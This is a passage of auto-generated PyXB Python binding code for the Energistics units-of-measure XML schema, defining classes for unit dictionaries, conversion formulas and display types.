compositeUnitType) # Complex type [anonymous] with content type EMPTY class CTD_ANON_2 (pyxb.binding.basis.complexTypeDefinition): """Complex type [anonymous] with content type EMPTY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY _Abstract = False _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 359, 6) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Attribute uom uses Python identifier uom __uom = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'uom'), 'uom', '__httpwww_posc_orgschemas_CTD_ANON_2_uom', pyxb.binding.datatypes.anyURI, required=True) __uom._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 360, 8) __uom._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 360, 8) uom = property(__uom.value, __uom.set, None, None) # Attribute exponent uses Python identifier exponent __exponent = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'exponent'), 'exponent', '__httpwww_posc_orgschemas_CTD_ANON_2_exponent', pyxb.binding.datatypes.integer, required=True) __exponent._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 361, 8) __exponent._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 361, 8) exponent = property(__exponent.value, __exponent.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __uom.name() : __uom, __exponent.name() : __exponent }) _module_typeBindings.CTD_ANON_2 = CTD_ANON_2 # Complex type {http://www.posc.org/schemas}conversionType with content type ELEMENT_ONLY class conversionType (pyxb.binding.basis.complexTypeDefinition): """ A conversion to a base unit is defined as (A + BX)/(C + DX), where X is the unit to be converted. The A, B, C, D are contained in the Formula choice. Special cases are a single factor and a fraction. Examples are given with the different elements. One of the three choices is mandatory. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'conversionType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 367, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Description uses Python identifier Description __Description = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Description'), 'Description', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasDescription', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2), ) Description = property(__Description.value, __Description.set, None, '\nA definition, description, or other comment about the unit of measure.\n ') # Element {http://www.posc.org/schemas}Factor uses Python identifier Factor __Factor = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Factor'), 'Factor', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFactor', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4), ) Factor = property(__Factor.value, __Factor.set, None, '\nIf A = D = 0, and C = 1, the value of B becomes a factor. For example, \nthe conversion of an international foot to a metre is with Factor=".3048"\n ') # Element {http://www.posc.org/schemas}Fraction uses Python identifier Fraction __Fraction = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Fraction'), 'Fraction', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFraction', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4), ) Fraction = property(__Fraction.value, __Fraction.set, None, "\nIf A = D = 0, B and C represent a fraction. For example, the conversion of a \nUS Survey foot to a metre is given with the fraction of 12 / 39.37. Hence,\n Numerator = '12', Denominator = '39.37'\n ") # Element {http://www.posc.org/schemas}Formula uses Python identifier Formula __Formula = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Formula'), 'Formula', '__httpwww_posc_orgschemas_conversionType_httpwww_posc_orgschemasFormula', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4), ) Formula = property(__Formula.value, __Formula.set, None, '\nA few units of measure do not have a factor or fraction. For example the \nconversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC. \nHence, A = "273.15", B = "1.", C = "1.", D = "0."\n ') # Attribute baseUnit uses Python identifier baseUnit __baseUnit = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'baseUnit'), 'baseUnit', '__httpwww_posc_orgschemas_conversionType_baseUnit', pyxb.binding.datatypes.anyURI, required=True) __baseUnit._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 428, 1) __baseUnit._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 428, 1) baseUnit = property(__baseUnit.value, __baseUnit.set, None, '\nThe conversion is to a base unit. This attribute is a reference to the base \nunit. The base unit is generally defined within the same document, although \nthis does not need to be the case.\n ') # Attribute modver uses Python identifier modver __modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_conversionType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='2.0') __modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 437, 1) __modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 437, 1) modver = property(__modver.value, __modver.set, None, None) _ElementMap.update({ __Description.name() : __Description, __Factor.name() : __Factor, __Fraction.name() : __Fraction, __Formula.name() : __Formula }) _AttributeMap.update({ __baseUnit.name() : __baseUnit, __modver.name() : __modver }) _module_typeBindings.conversionType = conversionType Namespace.addCategoryObject('typeBinding', 'conversionType', conversionType) # Complex type [anonymous] with content type ELEMENT_ONLY class CTD_ANON_3 (pyxb.binding.basis.complexTypeDefinition): """ If A = D = 0, B and C represent a fraction. For example, the conversion of a US Survey foot to a metre is given with the fraction of 12 / 39.37. Hence, Numerator = '12', Denominator = '39.37' """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 401, 5) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Numerator uses Python identifier Numerator __Numerator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Numerator'), 'Numerator', '__httpwww_posc_orgschemas_CTD_ANON_3_httpwww_posc_orgschemasNumerator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8), ) Numerator = property(__Numerator.value, __Numerator.set, None, None) # Element {http://www.posc.org/schemas}Denominator uses Python identifier Denominator __Denominator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Denominator'), 'Denominator', '__httpwww_posc_orgschemas_CTD_ANON_3_httpwww_posc_orgschemasDenominator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8), ) Denominator = property(__Denominator.value, __Denominator.set, None, None) _ElementMap.update({ __Numerator.name() : __Numerator, __Denominator.name() : __Denominator }) _AttributeMap.update({ }) _module_typeBindings.CTD_ANON_3 = CTD_ANON_3 # Complex type [anonymous] with content type ELEMENT_ONLY class CTD_ANON_4 (pyxb.binding.basis.complexTypeDefinition): """ A few units of measure do not have a factor or fraction. For example the conversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC. Hence, A = "273.15", B = "1.", C = "1.", D = "0." """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 416, 5) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}A uses Python identifier A __A = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'A'), 'A', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasA', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8), ) A = property(__A.value, __A.set, None, None) # Element {http://www.posc.org/schemas}B uses Python identifier B __B = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'B'), 'B', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasB', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8), ) B = property(__B.value, __B.set, None, None) # Element {http://www.posc.org/schemas}C uses Python identifier C __C = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'C'), 'C', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasC', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8), ) C = property(__C.value, __C.set, None, None) # Element {http://www.posc.org/schemas}D uses Python identifier D __D = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'D'), 'D', '__httpwww_posc_orgschemas_CTD_ANON_4_httpwww_posc_orgschemasD', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8), ) D = property(__D.value, __D.set, None, None) _ElementMap.update({ __A.name() : __A, __B.name() : __B, __C.name() : __C, __D.name() : __D }) _AttributeMap.update({ }) _module_typeBindings.CTD_ANON_4 = CTD_ANON_4 # Complex type {http://www.posc.org/schemas}displayType with content type MIXED class displayType (pyxb.binding.basis.complexTypeDefinition): """ This implementation of displayType allows a mixed type. It allows the inclusion of a sub element (for subscript), sup element (for superscript), and gr element (for greek). The greek symbol is given as a Unicode hex value. For example, the mu would be X03BC. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_MIXED _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'displayType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 440, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}sup uses Python identifier sup __sup = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'sup'), 'sup', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemassup', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4), ) sup = property(__sup.value, __sup.set, None, None) # Element {http://www.posc.org/schemas}sub uses Python identifier sub __sub = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'sub'), 'sub', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemassub', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4), ) sub = property(__sub.value, __sub.set, None, None) # Element {http://www.posc.org/schemas}gr uses Python identifier gr __gr = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'gr'), 'gr', '__httpwww_posc_orgschemas_displayType_httpwww_posc_orgschemasgr', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4), ) gr = property(__gr.value, __gr.set, None, None) _ElementMap.update({ __sup.name() : __sup, __sub.name() : __sub, __gr.name() : __gr }) _AttributeMap.update({ }) _module_typeBindings.displayType = displayType Namespace.addCategoryObject('typeBinding', 'displayType', displayType) # Complex type {http://www.posc.org/schemas}unitDictionaryType with content type ELEMENT_ONLY class unitDictionaryType (pyxb.binding.basis.complexTypeDefinition): """ A standard form for a units dictionary. This allows the developer of the dictionary to record the basic information about a unit of measure (namely, is it a base unit or a customary unit, convertible to a base unit. And what is the conversion). It also allows some additional information, such as a mapping to other unit dictionaries (using the Same Unit element). It also allows a choice of unit symbols. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'unitDictionaryType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 44, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Name uses Python identifier Name __Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4), ) Name = property(__Name.value, __Name.set, None, '\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ') # Element {http://www.posc.org/schemas}QuantityType uses Python identifier QuantityType __QuantityType = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), 'QuantityType', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasQuantityType', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4), ) QuantityType = property(__QuantityType.value, __QuantityType.set, None, '\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ') # Element {http://www.posc.org/schemas}DimensionalClass uses Python identifier DimensionalClass __DimensionalClass = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass'), 'DimensionalClass', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDimensionalClass', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4), ) DimensionalClass = property(__DimensionalClass.value, __DimensionalClass.set, None, '\nThe dimensional analysis of the unit. For example, a metre (m) would be of class [L], which represents length. A foot (ft) would also be in this class. Abbreviations used are L = length, M = mass, T = time, 1 = dimensionless, K = temperature, C = current, N = amount (mole), A = angle (radian), S = solid angle (sr), B = light amount (cd). For consistency, the values are broken into numerator and denominator, separated by a slash (/), in alphabetical order (LM, not ML). \n ') # Element {http://www.posc.org/schemas}SameUnit uses Python identifier SameUnit __SameUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SameUnit'), 'SameUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasSameUnit', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4), ) SameUnit = property(__SameUnit.value, __SameUnit.set, None, '\nA unit of measure may have different expressions in different registries. \nThis allows zero or more of these mappings to be recorded. The SameUnit \nallows a uom and a naming system to be given. The uom is presumably the \nunique symbol in the other system.\n ') # Element {http://www.posc.org/schemas}CatalogName uses Python identifier CatalogName __CatalogName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), 'CatalogName', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCatalogName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4), ) CatalogName = property(__CatalogName.value, __CatalogName.set, None, '\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ') # Element {http://www.posc.org/schemas}CatalogSymbol uses Python identifier CatalogSymbol __CatalogSymbol = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), 'CatalogSymbol', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCatalogSymbol', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4), ) CatalogSymbol = property(__CatalogSymbol.value, __CatalogSymbol.set, None, '\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ') # Element {http://www.posc.org/schemas}Display uses Python identifier Display __Display = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Display'), 'Display', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDisplay', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4), ) Display = property(__Display.value, __Display.set, None, '\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ') # Element {http://www.posc.org/schemas}Deprecated uses Python identifier Deprecated __Deprecated = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Deprecated'), 'Deprecated', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasDeprecated', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4), ) Deprecated = property(__Deprecated.value, __Deprecated.set, None, '\nThis element is used to indicate that a unit is being deprecated. Normally, this means that the symbol representing the unit is no longer to be used (CatalogSymbol). It is generally replaced by another instance of the unit, which has a different symbol. For example, a cubic foot, with symbol, cu ft, would be deprecated, but there would be another instance of cubic foot, with symbol, ft3. The value of the instance repesents the version of the dictionary for which the value is first deprecated. A deprecated unit (symbol) is carried for backward compatibility, but will, at some point, be removed.\n ') # Element {http://www.posc.org/schemas}BaseUnit uses Python identifier BaseUnit __BaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), 'BaseUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6), ) BaseUnit = property(__BaseUnit.value, __BaseUnit.set, None, None) # Element {http://www.posc.org/schemas}ConversionToBaseUnit uses Python identifier ConversionToBaseUnit __ConversionToBaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), 'ConversionToBaseUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasConversionToBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6), ) ConversionToBaseUnit = property(__ConversionToBaseUnit.value, __ConversionToBaseUnit.set, None, None) # Element {http://www.posc.org/schemas}CompositeUnit uses Python identifier CompositeUnit __CompositeUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), 'CompositeUnit', '__httpwww_posc_orgschemas_unitDictionaryType_httpwww_posc_orgschemasCompositeUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4), ) CompositeUnit = property(__CompositeUnit.value, __CompositeUnit.set, None, '\nA composite unit can be formed by an algebra of units. For example, a foot \nper second (quantity type of velocity) can be formed by a foot divided by \na second. This element allows the registry to identify composite units. \nNote that a composite unit is chosen to represent a quantity type.\nExample: metre per second. This uom is the base unit for the quantity type \nof velocity. A foot per second is also a composite unit, and can be converted \nto the base unit by defining a conversion formula.\n ') # Attribute id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'id'), 'id', '__httpwww_posc_orgschemas_unitDictionaryType_id', _module_typeBindings.keyid, required=True) __id._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 155, 2) __id._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 155, 2) id = property(__id.value, __id.set, None, '\nThis is a key for referencing the unit in the dictionary. The id value \nshould be unique within the dictionary document. The value should carry \nno semantic meaning. However, it is common to use a simple unit symbol for \nthe id. Because of the requirements of DTD\'s, it was necessary to separate \nout the id, which was originally of type ID. The DTD ID type did not allow \nslashes "/" or spaces or astericks (*).\n ') # Attribute annotation uses Python identifier annotation __annotation = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'annotation'), 'annotation', '__httpwww_posc_orgschemas_unitDictionaryType_annotation', pyxb.binding.datatypes.string) __annotation._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 167, 2) __annotation._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 167, 2) annotation = property(__annotation.value, __annotation.set, None, '\nFor backward compatibility, the id value was selected to be a value of type \nID. Hence, a value, such as ft/s, could not be used for the ID value. The \nannotation attribute was introduced as a schema attribute that could allow \nthe "/". Hence, ft/s is possible. This is intended to be a simple annotation,\n based on the 7 bit ascii character set. A more complex display symbol can \nbe built using the Display element.\n ') # Attribute modver uses Python identifier modver __modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_unitDictionaryType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='2.0') __modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 179, 2) __modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 179, 2) modver = property(__modver.value, __modver.set, None, None) _ElementMap.update({ __Name.name() : __Name, __QuantityType.name() : __QuantityType, __DimensionalClass.name() : __DimensionalClass, __SameUnit.name() : __SameUnit, __CatalogName.name() : __CatalogName, __CatalogSymbol.name() : __CatalogSymbol, __Display.name() : __Display, __Deprecated.name() : __Deprecated, __BaseUnit.name() : __BaseUnit, __ConversionToBaseUnit.name() : __ConversionToBaseUnit, __CompositeUnit.name() : __CompositeUnit }) _AttributeMap.update({ __id.name() : __id, __annotation.name() : __annotation, __modver.name() : __modver }) _module_typeBindings.unitDictionaryType = unitDictionaryType Namespace.addCategoryObject('typeBinding', 'unitDictionaryType', unitDictionaryType) # Complex type {http://www.posc.org/schemas}unitDefinitionType with content type ELEMENT_ONLY class unitDefinitionType (pyxb.binding.basis.complexTypeDefinition): """ The unitDefinitionType is the same as the unitDictionaryType, with two exceptions. It contains a possible IsUnknown element. It does not contain a SameUnit. A unitDictionaryType is intended as a type for a registry, in which all units are known and are being declared with their defintions. However, when exchanging data, the sender may be passing through a value and uom, and is not sure what the appropriate definition is for the uom. For example it may read a file with FT as a uom, and the sender is not sure which type of foot this is. When defining the uom in the resolution section, he may state that the uom is unknown, but is probably ... an international foot. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'unitDefinitionType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 182, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Name uses Python identifier Name __Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4), ) Name = property(__Name.value, __Name.set, None, '\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ') # Element {http://www.posc.org/schemas}QuantityType uses Python identifier QuantityType __QuantityType = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), 'QuantityType', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasQuantityType', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4), ) QuantityType = property(__QuantityType.value, __QuantityType.set, None, '\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ') # Element {http://www.posc.org/schemas}CatalogName uses Python identifier CatalogName __CatalogName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), 'CatalogName', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCatalogName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4), ) CatalogName = property(__CatalogName.value, __CatalogName.set, None, '\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ') # Element {http://www.posc.org/schemas}CatalogSymbol uses Python identifier CatalogSymbol __CatalogSymbol = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), 'CatalogSymbol', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCatalogSymbol', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4), ) CatalogSymbol = property(__CatalogSymbol.value, __CatalogSymbol.set, None, '\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ') # Element {http://www.posc.org/schemas}Display uses Python identifier Display __Display = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Display'), 'Display', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasDisplay', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4), ) Display = property(__Display.value, __Display.set, None, '\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ') # Element {http://www.posc.org/schemas}BaseUnit uses Python identifier BaseUnit __BaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), 'BaseUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6), ) BaseUnit = property(__BaseUnit.value, __BaseUnit.set, None, None) # Element {http://www.posc.org/schemas}IsUnknown uses Python identifier IsUnknown __IsUnknown = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown'), 'IsUnknown', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasIsUnknown', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8), ) IsUnknown = property(__IsUnknown.value, __IsUnknown.set, None, None) # Element {http://www.posc.org/schemas}ConversionToBaseUnit uses Python identifier ConversionToBaseUnit __ConversionToBaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), 'ConversionToBaseUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasConversionToBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8), ) ConversionToBaseUnit = property(__ConversionToBaseUnit.value, __ConversionToBaseUnit.set, None, None) # Element {http://www.posc.org/schemas}CompositeUnit uses Python identifier CompositeUnit __CompositeUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), 'CompositeUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCompositeUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4), ) CompositeUnit = property(__CompositeUnit.value, __CompositeUnit.set, None, None) # Attribute id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'id'), 'id', '__httpwww_posc_orgschemas_unitDefinitionType_id', _module_typeBindings.keyid, required=True) __id._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 270, 2) __id._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 270, 2) id = property(__id.value, __id.set, None, '\nThis is a key for referencing the unit in the dictionary. The id value \nshould be unique within the dictionary document. The value should carry \nno semantic meaning. However, it is common to use a simple unit symbol for \nthe id. Because of the requirements of DTD\'s, it was necessary to separate \nout the id, which was originally of type ID. The DTD ID type did not allow \nslashes "/" or spaces or astericks (*).\n ') # Attribute annotation uses Python identifier annotation __annotation = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'annotation'), 'annotation', '__httpwww_posc_orgschemas_unitDefinitionType_annotation', pyxb.binding.datatypes.string) __annotation._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 282, 2) __annotation._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 282, 2) annotation = property(__annotation.value, __annotation.set, None, '\nFor backward compatibility, the id value was selected to be a value of type \nID. Hence, a value, such as ft/s, could not be used for the ID value. The \nannotation attribute was introduced as a schema attribute that could allow \nthe "/". Hence, ft/s is possible. This is intended to be a simple annotation,\n based on the 7 bit ascii character set. A more complex display symbol can \nbe built using the Display element.\n ') # Attribute modver uses Python identifier modver __modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_unitDefinitionType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='1.0') __modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 294, 2) 